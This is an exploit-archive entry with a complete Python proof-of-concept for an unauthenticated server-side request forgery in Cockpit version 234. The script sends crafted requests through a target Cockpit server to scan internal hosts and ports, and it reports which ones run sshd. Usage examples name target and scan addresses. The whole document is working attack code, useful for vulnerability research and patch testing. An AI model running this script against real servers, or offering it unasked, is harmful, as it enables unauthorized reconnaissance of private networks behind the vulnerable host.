Cockpit 234 Server-Side Request Forgery

`# Exploit Title: Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated)  
# Date: 08.01.2021  
# Exploit Author: Metin Yunus Kandemir  
# Vendor Homepage: https://cockpit-project.org/  
# Version: v234  
# Tested on: Ubuntu 18.04  
  
#!/usr/bin/python3  
import argparse  
import requests  
import sys  
import urllib3  
import time  
from colorama import Fore, Style  
from argparse import ArgumentParser, Namespace  
from bs4 import BeautifulSoup  
  
"""  
Example scanning for internal server:  
python3 PoC.py --target 192.168.1.33:9090 --scan 172.16.16.16 --ports 21,22,23  
Example scanning for loopback interface of server:   
python3 PoC.py --target 192.168.1.33:9090   
Description : https://github.com/passtheticket/vulnerability-research/tree/main/cockpitProject/README.md  
"""  
  
def main():  
dsc = "Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)"  
parser: ArgumentParser = argparse.ArgumentParser(description=dsc)  
parser.add_argument("--target", help="IP address of Cockpit server", type=str, required=True)  
parser.add_argument("--scan", help="IP address of server that will be scanned", type=str, required=False)  
parser.add_argument("--ports", help="Ports (example: 21,22)", type=str, required=False)  
args: Namespace = parser.parse_args()  
  
if args.target:  
target = args.target  
if args.scan:  
scan = args.scan  
if args.ports:  
ports = args.ports  
else:  
ports = "22"  
else:  
scan = "127.0.0.1"  
if args.ports:  
ports = args.ports  
else:  
ports = "22"  
cockpitReq(target, scan, ports)  
  
def cockpitReq(target, scan, ports):  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
portRange = ports.split(",")  
for unsafe in portRange:  
headers = {  
"Host": str(target),  
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",  
"Accept": "*/*",  
"Accept-Language": "en-US,en;q=0.5",  
"Accept-Encoding": "gzip, deflate",  
"Authorization": "Basic dW5zYWZlOmlubGluZQ==",  
"X-Authorize": "",  
"Connection": "close",  
"Cookie": "cockpit=deleted",  
}  
req = requests.get("http://" + target + "/cockpit+=" + scan + ":" + unsafe + "/login", headers, verify=False)  
time.sleep(2)  
soup = BeautifulSoup(req.text, 'html.parser')  
responseCode = req.status_code  
responseTime = str(req.elapsed)  
  
if responseCode == 404:  
print("Cockpit server was not found!")  
elif responseCode == 401:  
if soup.title.string == "Authentication failed":  
print(Fore.GREEN + Style.BRIGHT + "[+] Port: "+ unsafe + " sshd service is detected!")  
elif soup.title.string == "Authentication failed: no-host":  
if responseTime > "0:00:10.000000":  
print(Fore.GREEN + Style.BRIGHT +"[-] Port: "+ unsafe + " is open, sshd service is not detected!")  
else:  
print(Fore.RED + Style.BRIGHT +"[-] Port: "+ unsafe + " sshd service is not detected!")  
else:  
print(Fore.RED + Style.BRIGHT +"[-] Error is occured!")  
print("[-] One bad day!")  
sys.exit(1)  
else:  
print("Something went wrong!")  
  
main()  
`